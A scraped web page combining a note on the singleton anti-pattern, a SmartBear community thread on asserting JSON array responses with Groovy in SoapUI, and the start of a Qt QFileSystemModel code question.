There is one implementation anti-pattern that flourishes in an application with too many singletons: the I know where you live anti-pattern. This occurs when, among collaborating classes, one class knows where to get instances of the other.
Towards acceptible singletons.
Meta notes — Mark Safayan Singleton anti pattern
Instead of using this pattern, simply instantiate a single instance and propagate it to places that use the object as a parameter to make the dependency explicit.
|
https://blog.finxter.com/how-to-create-a-singleton-in-python/
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
[ { "id" : "1234","name":"xyz" }, "jsonfield1" : { "jsonfield" : "xyz" } }]
I got this response of my API. I dont know how to assert array.
Generally, I store in hashmap
def response_string = messageExchange.response.responseContent
def response_slurper = new JsonSlurper()def response_hashmap = response_slurper.parseText(response_string)
assert response_hashmap.id =="123"
Its failing here since its an array.
Looking for a snippet.
Hello,
I would supply a snippet, but i cannot validate the json you presented in your sample... the json editors I dropped your json into all returned a parse error. The json sluper in SoapUI could not parse either. Did you hand code the example or cut and paste directly from API response? I cannot reproduce with your supplied sample.
Regards.
Hi Todd,
This is the correct JSON
[{ "id": "1234", "name": "xyz", "jsonfield1": { "jsonfield": "xyz" }}]
Hello henil_shah,
I think just adding an element number of the array/list to the assertion will work for you. Groovy script sample below.
Regards
import groovy.json.*;
def jsonSampletxt = '''
[{
"id": "1234",
"name": "xyz",
"jsonfield1": {
"jsonfield": "xyz"
}
}]
''';
def jsonSampleobj = new JsonSlurper().parseText(jsonSampletxt);
jsonSampleobj.each { item ->
log.info 'item=' + item.toString();
};
log.info 'jsonSampleobj.size()= ' + jsonSampleobj.size();
log.info ' ';
log.info 'jsonSampleobj.id=' + jsonSampleobj.id;
log.info 'jsonSampleobj.id[0]=' + jsonSampleobj.id[0];
log.info 'jsonSampleobj.name=' + jsonSampleobj.name;
log.info 'jsonSampleobj.name[0]=' + jsonSampleobj.name[0];
assert jsonSampleobj.id[0] == '1234', "Element 0 of .id Array/List should be equal to '1234'";
assert jsonSampleobj.name[0] == 'xyz', "Element 0 of .name Array/List should be equal to 'xyz'";
log.info 'Test Step "' + testRunner.runContext.currentStep.name + '" done...';
Hello everyone,
@Todd_Neuschwang thanks for the assistance, it is much appreciated!
@henil_shah, have you had a chance to try the solution that Todd provided? Does it work for you?
We are looking forward to hearing from you!
Compare an expected JSON value and actual response in Events
Fetch value/data from JSON response using Groovy Script
Filtering data retrieved from a DataSource
Get data from Petstore and add it to Excel sheets
|
https://community.smartbear.com/t5/SoapUI-Pro/How-to-assert-array-response/m-p/174248
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
Author: Rafael Martínez Torres <[email protected]> Author: Donal K. Fellows <[email protected]> Author: Reinhard Max <[email protected]> State: Final Type: Project Vote: Done Created: 23-Oct-2003 Post-History: Tcl-Version: 8.6 Tcl-Branch: rmax-ipv6-branch
Abstract
This TIP is about allowing Tcl to use IPv6 sockets in virtually the same way that you would use the current (IPv4) sockets.
Rationale
IPv6 is the next generation of the IP protocol that underlies Internet sockets. IPv6 advantages include a wider address space (128 bits instead current 32 bits), improved mobility, mandatory security at IP layer (IPsec...), etc. Tcl should allow the programmers try both protocols at their networking programs without too much effort (dependant on underlying operating system support, of course), just accepting the literal address (192.0.2.42, 2001:DB8::baad:f00d) or the DNS names ().
Proposed Change
The interpreter should understand:
socket 192.0.2.42 http socket 2001:DB8::baad:f00d echo socket -server accept 9999 socket ipv6.example.com 8080
Where a hostname resolves to multiple addresses in multiple families, the addresses are tried one by one as returned by the the resolver library until a connection can be established. The order depends on the resolver library and its configuration; it is deliberately not touched by Tcl, so that local preferences are automatically respected by Tcl programs.
For sockets that actually use IPv6 the output of fconfigure needs to be changed to reflect the fact:
Client sockets:
% fconfigure sock5 -peername 2001:DB8::baad:f00d ipv6.example.com 7 % fconfigure sock5 -sockname 2001:DB8::dead:beef 2001:DB8::dead:beef 49198
Server sockets:
% socket -server accept 0 sock3 % fconfigure sock3 -sockname 0.0.0.0 0.0.0.0 49198 :: :: 49198
The -sockname and -peername options are the affected ones; for client sockets they can indicate addresses in the IPv6 or IPv4 namespaces, and for server sockets the -sockname option will list all the addresses bound (2 in the above example), three elements each. To maximize backward compatibility, the IPv4 address (if bound) will always be listed first. (Client sockets will always only list a single address as they will always be connected by a definite protocol.)
Reference Implementation
A development branch has been opened up; see for details.
An older patch is available for UNIX platforms .
This document has been placed in the public domain.
|
https://core.tcl-lang.org/tips/doc/trunk/tip/162.md
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
Initial SDK setup
Minimum setup
To get started, you need to perform the following tasks:.
Install the SDK
Download the FollowAnalytics SDK from the developer portal.
Add
FollowApps.iOS.dllto your iOS Xamarin project References.
Link the required library for iOS, under iOS project > iOS build, in "additional mtouch arguments":
-gcc_flags="-framework Security -framework SystemConfiguration -framework CoreTelephony -framework CoreLocation -framework PassKit -framework WatchConnectivity -lc++ -lsqlite3 -lresolv"
Add
FollowApps.DroidSDK.dllto your Android Xamarin project References..csadd at the top:
using FollowAnalyticsSDK;
In the method
FinishedLaunching, right after the
loadApplication, add:
FollowAnalytics.iOS.Init("YOUR_API_KEY", FADEBUG, options);
Android
The SDK requires version 8.4.0 or higher of the
google-play-servicedependency.);
Define the URL scheme
To allow users to retrieve their device ID for campaign testing and tagging plan debugging, you need to define a URL scheme in your iOS and Android projects.
iOS
Install the Rivets component from the Component Store if you haven't already done so following the initialization line you added previously:
FollowAnalytics.iOS.RegisterForPushNotifications();>
By default, Android does not ask permission to the users to show push notifications. If your app("my event name", "my event detail"); FollowAnalytics.LogError("my error", "my error detail"); example,, you should implement the
FollowAnalytics.iOS.IAppDelegate interface. For example:
This section will be defined later on. { ...
Android
This section will be defined later on.(); FollowAnalytics.InApp.
|
https://dev.followanalytics.com/sdks/xamarin/older-versions/4.0/
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
Found a minor annoyance when running headless selenium browser tests on Ubuntu server 16. For some reason automated tests would start failing when opening Firefox. Apparently the configuration i’m running allows for Firefox to run auto update when opened.
To stop Firefox auto updates during your python Selenium test run, load a custom profile:
from selenium import webdriver profile = webdriver.FirefoxProfile() profile.set_preference('app.update.auto', False) profile.set_preference('app.update.enabled', False) driver = webdriver.Firefox(profile)
If this doesn’t seem to do the trick, verify that apt unattended-upgrades are not causing this behavior. In one case, I saw that the update was happening in the /var/log/unattended-upgrades/unattended-upgrades-dpkg.log log file.
I disabled auto updates via apt globally with the command:
dpkg-reconfigure -plow unattended-upgrades
|
http://tech.nickserra.com/2016/12/16/firefox-python-selenium-stopping-auto-update-on-browser-test-runs/
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
Extract and discard characters.
Extracts characters from input stream and discards them.
Extraction ends when n characters have been discarded or when delim is found, whichever comes first. In this last case delim is also extracted.
Parameters.
Return Value.
The function returns *this
Example.
// istream ignore
#include <iostream>
using namespace std;
int main () {
char first, last;
cout << "Enter your first and last names: ";
first=cin.get();
cin.ignore(256,' ');
last=cin.get();
cout << "Your initials are " << first << last;
return 0;
}
This example shows the use of ignore to ignore input characters until a whitespace is found.
Basic template member declarations ( basic_istream<charT,traits> ):
See also.
peek, get, getline, read, readsome
istream class
|
http://www.kev.pulo.com.au/pp/RESOURCES/cplusplus/ref/iostream/istream/ignore.html
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
GlassFish v3 Extreme Makeover using GrizzlyAdapter part 1: Hello World
GlassFish v3 offer a lot of extensibility point, and one of them is quite interesting: GrizzlyAdapter. Any applications developed using the GrizzlyAdapter API can be deployed inside v3 and transform a fish into a monster…an extreme makeover!
As Jerome described, GlassFish v3 is built on top of Grizzly, yet up to now, it was not possibly to deploy a native GrizzlyAdapter directly inside V3. Technically, at startup GlassFish runtime (OSGi or not) bootstrap and instantiate a Grizzly’s SelectorThread, one of the main entry point when embedding Grizzly (more info here I,II,II,IV, V, VI). Next it configure the special GrizzlyAdapter called ContainerMapper. That mapper is responsible for mapping request to its associated container (GrizzlyAdapter). It is not always clear in the GlassFish official documentation (they hide the monster ;-)), but many cool features of v3 are GrizzlyAdapter: JRuby, Groovy, admin CLI support, automatic download of admin gui, etc. So technically it was “easy” to extend that functionality and allow any GrizzlyAdapter to be deployed. It also means that any GrizzlyAdapter can now be deployed in GlassFish and gets nice features like admin support, monitoring, etc., features that are not always available in Grizzly itself.
So let’s start simple. Let’s write an HelloWord example. The code looks like
1 2 import com.sun.grizzly.tcp.http11.GrizzlyAdapter; 3 import com.sun.grizzly.tcp.http11.GrizzlyRequest; 4 import com.sun.grizzly.tcp.http11.GrizzlyResponse; 5 import java.io.IOException; 6 7 public class HelloWorldAdapter extends GrizzlyAdapter { 8 9 @Override 10 public void service(GrizzlyRequest request, GrizzlyResponse response) { 11 try { 12 response.getWriter().println("HelloWorld"); 13 } catch (IOException ex) { 14 ex.printStackTrace(); 15 } 16 } 17 }
In order to be deployed in GlassFish v3, let’s just jar this class, and add under META-INF a file called grizzly-glassfish.xml which tells GlassFish that this jar is a Grizzly application, and which context path will map to this application:
<adapters> <adapter context- </adapters>
Now just deploy this mini monster using GlassFish v3 admin cli:
% ${glassfish.home}/bin/asadmin deploy helloworld.jar
The v3 log will looks like:
INFO: The Admin Console is already installed, but not yet loaded. 9-Mar-2009 5:15:35 PM com.sun.enterprise.v3.server.AppServerStartup run INFO: GlassFish v3 startup time : Felix(1257ms) startup services(1162ms) total(2419ms) 9-Mar-2009 5:15:37 PM INFO: Deployment expansion took 4 9-Mar-2009 5:15:37 PM org.glassfish.deployment.admin.DeployCommand execute INFO: Deployment of helloworld done is 368 ms
Now let add complexity to our GrizzlyAdapter by adding some properties. Let’s customize the returned message:
1 package com.sun.grizzly.http; 2 3 import com.sun.grizzly.tcp.http11.GrizzlyAdapter; 4 import com.sun.grizzly.tcp.http11.GrizzlyRequest; 5 import com.sun.grizzly.tcp.http11.GrizzlyResponse; 6 import java.io.IOException; 7 8 public class HelloWorldAdapter extends GrizzlyAdapter { 9 10 private String helloWorld = "HelloWorld"; 11 12 @Override 13 public void service(GrizzlyRequest request, GrizzlyResponse response) { 14 try { 15 response.getWriter().println(helloWorld); 16 } catch (IOException ex) { 17 ex.printStackTrace(); 18 } 19 } 20 21 /** 22 * Set the returned message 23 */ 24 public void setMessage(String helloWorld){ 25 this.helloWorld = helloWorld; 26 } 27 28 }
Now to customize the message, let’s add a new property in our grizzly-config.xml file:
<adapters> <adapter context- <property name="message" value="I like GrizzlyAdapter!"/> </adapter> </adapters>
Freaking simple :-). So the sky is the limit…any Grizzly based application can now be deployed in v3. One of them can be found here. That project aim is to develop a GrizzlyAdapter acting as a proxy…which means you can transform v3 into a proxy! Note that you don’t need to anything else installed (just the smallest distribution of v3). Another example is are Grizzlet, which are simple POJO for doing Comet based application. Since the support for Grizzlet was made from a GrizzlyAdapter, you can always “jar|war” your Grizzlet and deploy them in v3 now. An example can be downloaded here. The grizzly-glassfisn.xml looks like:
<adapters> <adapter context- <property name="grizzletName" value="com.sun.grizzly.grizzlet.JMakiGrizzlet"/> <property name="rootFolder" value="../domains/domain1/applications/"/> </adapter> </adapters>
This is just the beginning, but I recommend you follow Jerome’s blog on what can also be extended in v3…as they will also apply to GrizzlyAdapter based application!! For any questions, post them to users@grizzly.dev.java.net or tweet us here.
_uacct = “UA-3111670-1”;
urchinTracker();
technorati: grizzly glassfish v3
embed
|
https://jfarcand.wordpress.com/2009/03/09/glassfish-v3-extreme-makeover-using-grizzlyadapter-part-1-hello-world/
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
How good is TensorFlow as a deep learning library and what other libraries should one look out for?
I just answered this question on Quora and thought I’d share this with you here since I am spedning gobs of time playing with a few of these frameworks — primarily Theano/Keras, TensorFlow and Lua (Torch and PyTorch)
Here is a [hopefully] more balanced view of the world of Deep Learning libraries as we [I] know it.
There’s Lua as Alexey posted and you have Torch and PyTorch. Contrary to what folks might believe Facebook, Twitter and several other parties are building it. Facebook recently open sourced PyTorch.
Take a look at who’s supporting and building it.
+ves
- Easy to read and write
- Runs on GPU
- Enough pre-trained models to play with
- And you have PyTorch
-ves
- Not enough commercial backing though its building
- Not large enough community behind it for more commercially accepted models. This could change as Nvidia, Salesforce are super focused on their enterprise customers.
[2] PRINCESS THEANO and HER OFFSPRINGS
Probably one of the oldest deep learning framework — born and bred in academia and written in Python. Handles multi-dimensional arrays like Numpy etc. Believed to be best suited for academia and data explorations.
Many open source deep learning libraries like Keras, Lasagne, Blocks are built on top of it.
+ves
- Python, Numpy love is there
- Computation graph is ok fits stuff like RNN fairly well
- Decent high-level wrappers for Keras etc
-ves
- Still bulkier
- no multi-GPU support
- Trouble when working in cloud environments
As I mentioned, her offsprings are a lot more interesting. lets look at her children
P.S: Someone has done a neat job of comparing Theano vs others here at Github.
Keras is a decent deep learning library that can run on top of Theano and Tensorflow. It has a cool Python API developed in similar lines as Torch.
+ves
- Cool Python API developed inspired by Torch. It provides a high-level function , for instance you can programmatically build you own model here.
- Pretty flexible — works with Theano, TensorFlow, CNTK etc
- There is interest in the community for its further growth
- Pretty simple to create your own models.
import keras.layers as L import keras.models as M my_input = L.Input(shape=(100,)) intermediate = L.Dense(10, activation='relu')(my_input) my_output = L.Dense(1, activation='softmax')(intermediate) model = M.Model(input=my_input, output=my_output)
-ves
- Reported performance issues behind TensorFlow
- Needs to do more work in gain love from the commercial community. There’s a lot of passion in developers and research.
- Distributed learning could be better integrated.
*I’d suggest you look up Lasagne and Blocks yourself. There’s also Kur, which is built on top of Keras.
[4] TensorFlow — The Rising Prince of the Valley
Created by Google and goes deeper than just Deep Learning, it’s actually supports tools for reinforcement learning which is nice. Still developing and unsure what sort of commercial application of TensorFlow will come, for now its application in Google’s own cloud would be great for its cloud customers, especially with custom-made TPU.
+ves
- Python, Numpy support
- Good computational graph absraction like his step-mom Theano.
- Fast compile times than Theano
- Tensorboard is nice, I really love it’s functionality!
- Extremely popular within the development community as of 2017
-ves
- Still slower than other frameworks
- Still not Torch like
- Not enough pre-trained models for practical use (we have all run MNIST, Iris sets by now)
- No commercial backing (besides the fact that the world knows Google backs it)
- Drops in/out of Python to load each batch set, so performance wise still some work needs to be done.
- Still very keen to see its commercial application in enterprise — if there will ever be any, for instance dynamic typing when running large development projects.
Caffe: It’s well known and widely-used that ported Matlab’s kit of Fast Convolutional Net to C and C++. Although not — AFAIK, intended for text, audio, time series data.
+ves
- Good feed forward nets and image processing
- Train models , no need to write code
- Good to have Python interface
-ves
- Not so great for Recurrent Networks
- Can it handle big networks? (ImageNet, GoogLeNet etc)
- Commercial and enterprise love lacking
- Is it still alive?
Caffe2 — however has some form of backing from Facebook, maybe because its creator went working for them.
+ves
- It’s scalable
- Lightweight
- BSD license, that helps.
-ves
- Will it come to the enterprises?
- How long will it live?
WATCH LIST FOR ME
[1] Microsoft’s CNTK — There’s more work happening here than you can imagine.
[2] MXNET — (adopted by Amazon AWS and Apple too is secretly building stuff into its APU chip with it after buying Carlos’ startup called Turi)
There are others BigDL (Apache Spark), Paddle (led by Baidu), DyNet pushed by Carnegie-Mellon, of course Amazon’s own Tensor engine DSSTNE and I’m sure lot’s more is coming.
TO SUMMARIZE
These are still early days but it is quite important for developers, enterprises and commercial parties to choose wisely their both development as well as production workloads and adopt models that work best for them.
Time, after all will be the most important resource we will have to manage as the Deep Learning ecosystem will explode with libraries, toolkits and HW/SW implementations.
Good luck and keep learning #DailyLearningMode
Post Scriptum
As for a quick view of Framework’s comparison (Note: This is from 2016)
and as for Design Choices (also from the same deck — which you can find here)
Originally published at.
|
https://medium.com/@tarrysingh/how-good-is-tensorflow-as-a-deep-learning-library-and-what-other-libraries-should-one-look-out-for-782771f7c7e9
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
From Capitol Column
Stone noted that there are things that the U.S. Government can do to help improve the situation in Mexico, including legalizing marijuana.
Oliver Stone thinks its time to stop the endless debate and legalize marijuana.
“I think it’s a tragedy what has happened, and I saw it coming 40 years ago, and it keeps going. And of course politicians keep making election promises,” the film director and screenwriter told MTV News. “It’s an easy subject to win votes on.”
His latest film, “Savages,” tells the story of two small time pot dealers who get caught up with a dangerous Mexican drug cartel. Based on the novel of the same name by Don Winslow, it’s a crime thriller that is more focused on action than leaving audiences with a strong political message.
“It is set in a drug war,” he explains. “It’s set in California, and we have a new burgeoning industry here with young independent growers. It makes sense. It’s a hypothetical situation; it could happen.”
But Mr. Stone has a strong message of his own on the subject of marijuana legalization.
“A lot of money gets involved, and it’s built up into a huge industry in America and in Mexico, where we have criminal justice that has been perverted,” he said in the interview. .”
In June, Mr. Stone was featured on the cover of High Times smoking a joint.
,” he told High Times. “I’m thinking myself of getting into the business, although I suspect there’d be a lot of stress with the Feds changing the rules all the time.”
In the MTV interview, Mr. Stone expressed his disappointment in President Barack Obama and other politicians over their failure to act on the issue.
“Obama promised it, but he never delivered. He certainly talked about it. He let us down in a big way on that issue,” he said. “You know what it’s going to take? New leadership. Young people…to get out there and get in front of things and just call a spade a spade.”
From Harlem World: Oliver Stone discusses weed, war and ‘Savages’
Ol very.
Meriah Doty.
And from Washington Times: Oliver Stone high on US grown pot
Oliver Stone has smoked great marijuana all over the world, from Vietnam and Thailand to Jamaicaand South Sudan. But the filmmaker says the best weed is made in the USA and that pot could be a huge growth industry for taxpayers if it were legalized.
Mr. Stone, whose drug-war thriller “Savages” opens Friday, has been a regular toker since his days as an infantryman in Vietnam in the late 1960s. He insisted in a recent interview that no one is producing better stuff now than U.S. growers.
“There’s good weed everywhere in the world, but my God, these Americans are brilliant,” said Mr. Stone, 65, who sees only benefits from legalizing marijuana. “It can be done. It can be done legally, safely, healthy, and it can be taxed, and the government can pay for education and stuff like that. Also, you can save a fortune by not putting kids in jail.”
Mr. elseproduct,” Mr.,” Miss Hayek said. “Some of the other drugs that are on the market are really, really dangerous. The legal drugs. That your doctor can prescribe. And they can kill you with it slowly.”
Miss Miss Hayek’s brutal lieutenant, John Travolta as a corrupt Drug Enforcement Administration cop and Blake Lively as Johnson and Kitsch’s shared lover, whose kidnapping puts the two sides at war.
Mr. Mr. Stone has done in decades. While the film itself doesn’t preach, it has given Mr. Stone a soapbox to play devil’s advocate, even landing him on the cover of the marijuana magazine High Times, smoking a joint.
Mr..”
Related articles
- Oliver Stone Knows Good Weed (huffingtonpost.com)
- Stone Says US No. 1 … for Great Weed (abcnews.go.com)
- Oliver Stone: Illegal Weed Laws ‘Worse than Slavery’ (redalertpolitics.com)
- ‘Savages’ Director Oliver Stone Wants Real Change In Marijuana Laws (mtv.com)
- Savages: Stone’s Stoner Film Reminds Us Why Marijuana Should Be Legal (world.time.com)
- Oliver Stone discusses weed, war and ‘Savages’ (harlemworldmag.com)
4 TOP POT CANDIDATES FOR 2012
PROMOTE POLITICAL CANDIDATES
WHO WILL MAKE MARIJUANA LEGAL.
(1)Gary Johnson for President, Libertarian
(2)Cris Ericson for United States Senator for Vermont,
United States Marijuana Party
(3) Tim Davis, Grassroots Party, running for
United States Senator for Minnesota
(4) Ed Forchion for U.S. Congress, The
Legalize Marijuana Party of New Jersey
You can start a Marijuana Super PAC
and you’ll be able to collect millions and
millions of dollars
in donations.
Study all of the information on these two websites:
(1)
(2)
Who would want to donate a lot of money to a
Super PAC
which
promotes a marijuana legalization candidate?
(a) Sports figures, and every Major Sports Club in
America may have members who use marijuana.
(b) People who want medical marijuana to be legalized
under federal law.
(c) People who want less government control of their
personal lives.
(d) People who believe in the
Holy Bible,
Old Testament, Genesis: God Gave Us Every Seed
Bearing Plant.
(e) People who are deeply outraged that
private-for-profit prison
Corrections Corporation
of America IS NOW SELLING SHARES OF STOCK ON
NASDAQ.
(f) People who believe we are suffering from Unfair Trade
Restriction and Economic Treason because it is legal to
import hemp products from foreign countries and sell
them in the United States of America,
but it is not legal for farmers in the U.S.A.
to grow hemp. This is ECONOMIC TREASON.
(g) People who do not want their children denied any
college loans or grants simply because they had a
marijuana conviction as a teenager.
(h) People who work in the entertainment industry,
actors, agents, and musicians
are deeply affected by marijuana arrests in their
community interfering with filming, t.v. and
recording schedules.
(i) Corporations which currently produce beer and wine
will be happy to develop
Marijuana beer at 5% strength and marijuana wine at
10% strength.
What is a MARIJUANA Super PAC?
A Super PAC is a political action committee that asks for
donations
from Corporations and People,
and uses the money to promote a candidate of their
own, and ask them to
donate to your
MARIJUANA candidate Super PAC.
WHO ARE THE 2012 MARIJUANA CANDIDATES?
(1) Libertarian Presidential Candidate Gary Johnson
(2) Cris Ericson for U.S. Senator for Vermont
United States Marijuana Party
C-SPAN BIO:
VPT 2010 Debate including candidate Cris Ericson
(3) Tim Davis, Grassroots Party, Minnesota, 2012
candidate for United States Senator,
Committee to Elect Davis
4154 Vincent Ave N
Minneapolis, MN 55412
(612)522-3776
birdman420@q.com
(4) Ed Forchion aka NJ Weedman for
U.S. Congress for
3rd District of New Jersey,
The Legalize Marijuana Party of NJ
“Started with Nixon” Yea, he was a Corrupt Crook that would have been Impeached had he not Quit!
Pingback: “Savages” Is A Telemundo Soap Opera In English — ANOMALOUS MATERIAL
|
https://patients4medicalmarijuana.wordpress.com/2012/07/06/oliver-stone-obama-hasnt-delivered-on-marijuana-legalization/
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
Mac OSX Read all file not defined... Is this a bug? in qt5.9
This produce some error..
QTextStream out(stdout,QIODevice::WriteOnly); /* inside qmake file pro macx:DEFINES += MACOSX_ROOT win32:DEFINES += WINOSX_ROOT unix:DEFINES += LINUXOSX_ROOT QMake version 3.1 Using Qt version 5.9.1 in /Users/dev/Applications/qt5.9.1/lib */ #ifdef MACOSX_ROOT out << "Hi MAC OSX User: " << __DATE__ << endl; /// mac play this #endif #ifdef WINOSX_ROOT out << "Hi Window User: " << __DATE__ << endl; #endif #ifndef Q_WS_MAC #ifdef LINUXOSX_ROOT out << "Hi Linux User: " << __DATE__ << endl; /// mac play this?? #endif #endif
Out play:
Hi MAC OSX User: Aug 5 2017
Hi Linux User: Aug 5 2017
Is this my error?
ps: 2cm place to write new post in chrome.
- SGaist Lifetime Qt Champion
Hi,
Because
Q_WS_MACis a Qt 4 era define that is not anymore in Qt 5 and the unix scope you use in your .pro file includes also macOS.
@SGaist said in Mac OSX Read all file not defined... Is this a bug? in qt5.9:
Q_WS_MAC
Ok... tanks.... so many different variable in the last 10 years... uauu... other DEV-T to all QT oldtimer guy...
I set now new my pro file...
DEFINES += DEF-T message( "DEV-T - Developed Unnecessary Traffic you find all new inside QT5" )
|
https://forum.qt.io/topic/82060/mac-osx-read-all-file-not-defined-is-this-a-bug-in-qt5-9
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
[ Split from original support question here: ]
Setting up firejail is relatively easy, and the included default profiles thoroughly enhance security for the programs they are for. You can configure firejail for further needs and for additional programs. How complex you want to make it is up to you. I'll provide an overview below first of how to install it and how to use the default profiles. Then if you want it you can look in to fine-tuning the default profiles or writing your own profile files.
While there are a lot of options for fine-tuning and writing your own profiles, I'll try and show you foremost the possibilities that I think will be of common interest to those that want to take firejail further. But again, the default profiles already boost your security so there is no need to go here unless you want to.
The website best summarizes what firejail does:”.
Installation
Whether you are using Linux Mint 17.x or LMDE 2 the installation of firejail is as easy as:
- Download and save to disk the firetools .deb file for your architecture (32 bit or 64 bit) from the website: ... /firejail/. If you also want the GUI firetools program find that here (firetools will give you a menu window from which to launch applications for which it has a profile): ... firetools/.
- Double-click the downloaded file in your file manager to launch the installer. It should install without problems.
Usage
Firejail comes with a bunch of default profiles for common programs that are either Internet connected or run untrusted code on your computer. You can find the default profiles in /etc/firejail. To start a program using one of these profiles just prefix the command with "firejail". So for example to start Firefox with the default firejail profile run the command "firejail firefox" (close running Firefox first). Even if you start a program with firejail for which there is no profile defined, it will get some default confinement (see at the end of this comment for the defaults).
Now this isn't very convenient so you'll want to customize the menu launcher for applications you want to run with firejail. AFAIK on all Linux Mint editions you can right-click on the menu button and from one of the options in the context menu go to the menu editor. There you can edit the command associated with a menu launcher. Just prefix the command with "firejail ".
You can also manually copy the .desktop file for the application you want to run with firejail from /usr/share/applications to ~/.local/share/applications and edit the copied file (this is what the menu editor also does). Replace the "Exec=" line to start with "Exec=firejail ". We can also do this in one go for all installed applications for which there is a default firejail profile with this one command:
Code: Select all
mkdir -p ~/.local/share/applications; for profile in $(basename -s .profile /etc/firejail/*.profile); do if [[ -f /usr/share/applications/$profile.desktop ]]; then sed -r 's/^(Exec=)/\1firejail /' /usr/share/applications/$profile.desktop > ~/.local/share/applications/$profile.desktop; echo $profile configured to run in firejail; fi; done
You can see which applications are running in a sandbox provided by firejail with this command (in case you want to check you set things up correctly):
Code: Select all
firejail --list
A more verbose listing, showing also sub-processes running in the sandbox, is with:
Code: Select all
firejail --tree
Fine-tuning default profiles
I would recommend you don't edit the profiles in /etc/firejail as these will be overwritten when you install another version of firejail. If you have one or two options you want to add for a program you can just add them as command line parameters to firejail. So for example say you want to blacklist your /backups directory, you would start firefox as: "firejail --blacklist=/backups -- firefox". (The -- before the firefox command signals the end of options for firejail.) This would use the default firefox profile but with this additional parameter.
You can find parameters you can use in the firejail manpage ("man firejail"). You don't need to add parameters for your program to already benefit from additional security. If you have certain additional needs this can be a quick and easy way to tailor the default profiles.
Some common parameters you might have a need for to add:
- --blacklist=dirname_or_filename — makes the directory or file inaccessible
- --cpu=cpu-number,cpu-number,cpu-number — sets which CPU cores the program will be able to use
- --net=none — deny the program network access
- --private — gives the program a private copy of your home directory that is discarded after the program closes
- --private=directory — use the given directory as the home directory for the program, it is not discarded after the program closes
- --tmpfs=dirname — gives the program an empty directory for the given directory that is discarded after the program closes
Custom profiles / understanding default profiles
You might want to write your own profiles for further customization of the default profiles or to add profiles for other applications. Custom profiles you can store in ~/.config/firejail. You can find information on the available settings in the firejail-profile manpage ("man firejail-profile").
If you want to understand the default profiles that information is also very useful.
Let's look at Firefox's default profile as an example (/etc/firejail/firefox.profile):
Code: Select all
# Firejail profile for Mozilla Firefox (Iceweasel in Debian)
noblacklist ${HOME}/.mozilla
include /etc/firejail/disable-mgmt.inc
include /etc/firejail/disable-secret.inc
include /etc/firejail/disable-common.inc
include /etc/firejail/disable-devel.inc
caps.drop all
seccomp
protocol unix,inet,inet6,netlink
netfilter
tracelog
noroot
whitelist ${DOWNLOADS}
whitelist ~/.mozilla
whitelist ~/.cache/mozilla/firefox
whitelist ~/dwhelper
whitelist ~/.zotero
whitelist ~/.lastpass
whitelist ~/.vimperatorrc
whitelist ~/.vimperator
whitelist ~/.pentadactylrc
whitelist ~/.pentadactyl
whitelist ~/.keysnail.js
whitelist ~/.config/gnome-mplayer
whitelist ~/.cache/gnome-mplayer/plugin
include /etc/firejail/whitelist-common.inc
You see lines starting with a hash (#) are comments. At first this profile includes four other files, and at the end it includes another file. You can look into these on your own but to summarize:
- disable-mgmt.inc — makes inaccessible system management commands (/sbin and /usr/sbin directories, and a couple of commands)
- disable-secret.inc — makes inaccessible secret files in your home directory (SSH keys, Gnome and KDE keyrings, GPG keys, etc.)
- disable-common.inc — makes inaccessible files from other browsers, with the above "noblacklist ${HOME}/.mozilla" line ensuring the files for Firefox aren't made inaccessible (=blacklisted).
disable-devel.inc — makes inaccessible development commands (like compilers, debug tools, scripting tools, and so on)
whitelist-common.inc — make accessible common files and directories that most graphical programs will need
The "seccomp" line enables a filter for which system calls the program can make. Better explained on the firejail blog: ... omp-guide/. The "protocol" line further tailors the system call filter for networking.
The "netfilter" is there so a default network filter is enabled for if you set up a new network namespace.
The "tracelog" line makes it so any violations where the program tries to access blacklisted files or directories will be logged in /var/log/syslog.
The "noroot" line disables the root user in the sandbox.
The "whitelist" lines that follow make accessible files and directories that would be used by Firefox. The modifications to whitelisted files and directories are persistent, everything else written to your home directory is discarded when the sandbox is closed.
On top of this also the defaults apply:
The sandbox consists of a chroot filesystem build in a new mount namespace, and new PID [can't see processes running outside the sandbox] and UTS [can have its own hostname] namespaces. The default Firejail filesystem is based on the host filesystem with the main directories mounted read-only. Only /home and /tmp and directories are writeable [unless overruled with whitelist, blacklist, tmpfs, or private settings].
|
https://forums.linuxmint.com/viewtopic.php?p=1067011&sid=66d038608062f6d29c4f633ddd83c7ba
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
This is an anchor tag/hyper link: sakura - Github Repository
Paragraphs look like this. Font size along with line height and maximum width are optimized for reading.
Italic, bold, and
monospace. Itemized lists look like:
Here's a block quote:
Some code blocks
define foobar() { print "Welcome to flavor country!"; }
import time # Quick, count to ten! for i in range(10): # (but not *too* quick) time.sleep(0.5) print i
A nested list:
First, get these ingredients:.
A horizontal line:
Here's a link to a website, to a local doc, and to a section heading in the current doc. Here's a footnote 1.
Tables can look like this:
Multi-line tables:
A horizontal rule follows.
Images are responsive by default:
example image
|
https://oxal.org/projects/sakura/demo/
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
Set buffer array.
Calls protected virtual member setbuf.
The standard behavior of function setbuf on derived stream buffer classes is to set the array pointed by parameter s as the character buffer to be used.
The character buffer is the array of characters in memory used by the stream buffer.
Parameters.
Return Value.
In case of success the member function should return this, otherwise a null pointer.
Example.
// set character buffer (pubsetbuf)
#include <fstream>
using namespace std;
int main () {
char mybuffer [512];
fstream filestr;
filestr.rdbuf()->pubsetbuf(mybuffer,512);
// operations with file stream here.
return 0;
}
The code in this example sets a new buffer of 512 characters for filestr's strembuf object.
Basic template member declaration ( basic_streambuf<charT,traits> ):
See also.
setbuf
streambuf class
|
http://www.kev.pulo.com.au/pp/RESOURCES/cplusplus/ref/iostream/streambuf/pubsetbuf.html
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
QFileSystemModel crash when rename
[code]
#include <QtCore>
#include <QtGui>
int main(int argc, char **argv)
{
QApplication app( argc, argv );
